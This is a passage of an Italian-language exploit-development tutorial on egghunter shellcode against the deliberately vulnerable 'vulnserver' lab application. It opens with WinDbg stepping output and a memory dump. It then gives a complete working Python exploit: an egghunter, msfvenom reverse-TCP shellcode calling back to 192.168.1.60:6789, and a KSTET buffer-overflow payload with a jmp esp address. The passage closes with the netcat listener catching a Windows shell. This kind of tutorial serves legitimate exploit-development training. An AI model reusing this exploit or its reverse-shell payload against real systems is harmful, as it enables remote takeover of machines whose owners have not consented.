eip=00eaf9ca esp=00eaf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00eaf9ca 90              nop

0:003> p
eax=00eaf978 ebx=000000d4 ecx=00725de8 edx=00000000 esi=00401848 edi=00401848
eip=00eaf9cb esp=00eaf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00eaf9cb 90              nop

0:003> p
eax=00eaf978 ebx=000000d4 ecx=00725de8 edx=00000000 esi=00401848 edi=00401848
eip=00eaf9cc esp=00eaf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00eaf9cc 83c006          add     eax,6

0:003> p
eax=00eaf97e ebx=000000d4 ecx=00725de8 edx=00000000 esi=00401848 edi=00401848
eip=00eaf9cf esp=00eaf9c8 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
00eaf9cf ffe0            jmp     eax {00eaf97e}

0:003> p
eax=00eaf97e ebx=000000d4 ecx=00725de8 edx=00000000 esi=00401848 edi=00401848
eip=00eaf97e esp=00eaf9c8 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
00eaf97e 6681caff0f      or      dx,0FFFh

0:003> db 00eaf97e 
00eaf97e  66 81 ca ff 0f 42 52 31-c0 66 05 c6 01 cd 2e 3c  f....BR1.f.....<
00eaf98e  05 5a 74 ec b8 63 30 64-33 89 d7 af 75 e7 af 75  .Zt..c0d3...u..u
00eaf99e  e4 ff e7 41 41 41 41 41-41 41 41 41 41 41 41 41  ...AAAAAAAAAAAAA
00eaf9ae  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00eaf9be  41 41 41 41 41 41 af 11-50 62 90 90 90 90 83 c0  AAAAAA..Pb......
00eaf9ce  06 ff e0 43 43 43 43 43-43 43 43 43 43 43 00 00  ...CCCCCCCCCCC..
00eaf9de  00 00 00 00 72 00 0c 00-00 00 01 00 00 00 00 00  ....r...........
00eaf9ee  00 00 00 00 00 00 0a 00-00 00 00 00 7b 00 0c 00  ............{...

Exploit

Ora non ci rimane che:

  1. Inserire il tag c0d3c0d3 nel primo stage
  2. Aggiungere lo shellcode
  3. Metterci in ascolto sulla porta dalla kali

Ricordo che con il debugger attaccato l’egghunter potrebbe non funzionare, quindi è meglio fare senza. Aggiorniamo ed eseguiamo lo script

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

#\x00
VULNSRVR_CMD = b"KSTET "  # change me
CRASH_LEN = 1000  # change me
OFFSET = 70

#c0d3c0d3
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread
shellcode =  b""
shellcode += b"\xb8\x37\x89\x8a\x38\xdb\xdf\xd9\x74\x24\xf4"
shellcode += b"\x5a\x33\xc9\xb1\x52\x31\x42\x12\x03\x42\x12"
shellcode += b"\x83\xf5\x8d\x68\xcd\x05\x65\xee\x2e\xf5\x76"
shellcode += b"\x8f\xa7\x10\x47\x8f\xdc\x51\xf8\x3f\x96\x37"
shellcode += b"\xf5\xb4\xfa\xa3\x8e\xb9\xd2\xc4\x27\x77\x05"
shellcode += b"\xeb\xb8\x24\x75\x6a\x3b\x37\xaa\x4c\x02\xf8"
shellcode += b"\xbf\x8d\x43\xe5\x32\xdf\x1c\x61\xe0\xcf\x29"
shellcode += b"\x3f\x39\x64\x61\xd1\x39\x99\x32\xd0\x68\x0c"
shellcode += b"\x48\x8b\xaa\xaf\x9d\xa7\xe2\xb7\xc2\x82\xbd"
shellcode += b"\x4c\x30\x78\x3c\x84\x08\x81\x93\xe9\xa4\x70"
shellcode += b"\xed\x2e\x02\x6b\x98\x46\x70\x16\x9b\x9d\x0a"
shellcode += b"\xcc\x2e\x05\xac\x87\x89\xe1\x4c\x4b\x4f\x62"
shellcode += b"\x42\x20\x1b\x2c\x47\xb7\xc8\x47\x73\x3c\xef"
shellcode += b"\x87\xf5\x06\xd4\x03\x5d\xdc\x75\x12\x3b\xb3"
shellcode += b"\x8a\x44\xe4\x6c\x2f\x0f\x09\x78\x42\x52\x46"
shellcode += b"\x4d\x6f\x6c\x96\xd9\xf8\x1f\xa4\x46\x53\xb7"
shellcode += b"\x84\x0f\x7d\x40\xea\x25\x39\xde\x15\xc6\x3a"
shellcode += b"\xf7\xd1\x92\x6a\x6f\xf3\x9a\xe0\x6f\xfc\x4e"
shellcode += b"\xa6\x3f\x52\x21\x07\xef\x12\x91\xef\xe5\x9c"
shellcode += b"\xce\x10\x06\x77\x67\xba\xfd\x10\x48\x93\xfc"
shellcode += b"\xdc\x20\xe6\xfe\x06\x34\x6f\x18\x5c\x26\x26"
shellcode += b"\xb3\xc9\xdf\x63\x4f\x6b\x1f\xbe\x2a\xab\xab"
shellcode += b"\x4d\xcb\x62\x5c\x3b\xdf\x13\xac\x76\xbd\xb2"
shellcode += b"\xb3\xac\xa9\x59\x21\x2b\x29\x17\x5a\xe4\x7e"
shellcode += b"\x70\xac\xfd\xea\x6c\x97\x57\x08\x6d\x41\x9f"
shellcode += b"\x88\xaa\xb2\x1e\x11\x3e\x8e\x04\x01\x86\x0f"
shellcode += b"\x01\x75\x56\x46\xdf\x23\x10\x30\x91\x9d\xca"
shellcode += b"\xef\x7b\x49\x8a\xc3\xbb\x0f\x93\x09\x4a\xef"
shellcode += b"\x22\xe4\x0b\x10\x8a\x60\x9c\x69\xf6\x10\x63"
shellcode += b"\xa0\xb2\x31\x86\x60\xcf\xd9\x1f\xe1\x72\x84"
shellcode += b"\x9f\xdc\xb1\xb1\x23\xd4\x49\x46\x3b\x9d\x4c"
shellcode += b"\x02\xfb\x4e\x3d\x1b\x6e\x70\x92\x1c\xbb"


EGG_SIZE = 1000
first_stage = b"STATS "
first_stage += b"c0d3c0d3" # 8 bytes
first_stage += shellcode
first_stage += b"B" * (EGG_SIZE - 8 - len(shellcode))

payload = VULNSRVR_CMD
payload += egghunter
payload += b"A" * (OFFSET - len(egghunter))
payload += struct.pack("<I",0x625011af) # jmp esp
payload += b"\x90" * 4
payload += b"\x83\xc0\x06" # add eax + 6
payload += b"\xff\xe0" # jmp eax
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 
    sent = sock.send(first_stage) # TRUN BBBB..
    

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 
    sent = sock.send(payload)
    #print(f"sent {sent} bytes")

E la nostra shell viene eseguita

kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 1621
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Users\User\Desktop\vulnserver>

Conclusioni

In questo articolo abbiamo introdotto una nuova tecnica per inserire lo shellcode. Ricordiamoci che l’obiettivo è quello di averlo in memoria, che poi venga inviato contemporaneamente o con una richiesta precedente non fa differenza. Un’altra tecnica interessante è quella del Socket Reuse.

Alcune risorse utili:

  1. http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
  2. https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
  3. https://fuzzysecurity.com/tutorials/expDev/4.html
  4. https://www.secpod.com/blog/hunting-the-egg-egg-hunter/
  5. https://sec4us.com.br/cheatsheet/bufferoverflow-egghunting
  6. https://github.com/epi052/osed-scripts/blob/main/egghunter.py
  7. https://epi052.gitlab.io/notes-to-self/blog/2020-05-22-osce-exam-practice-part-seven/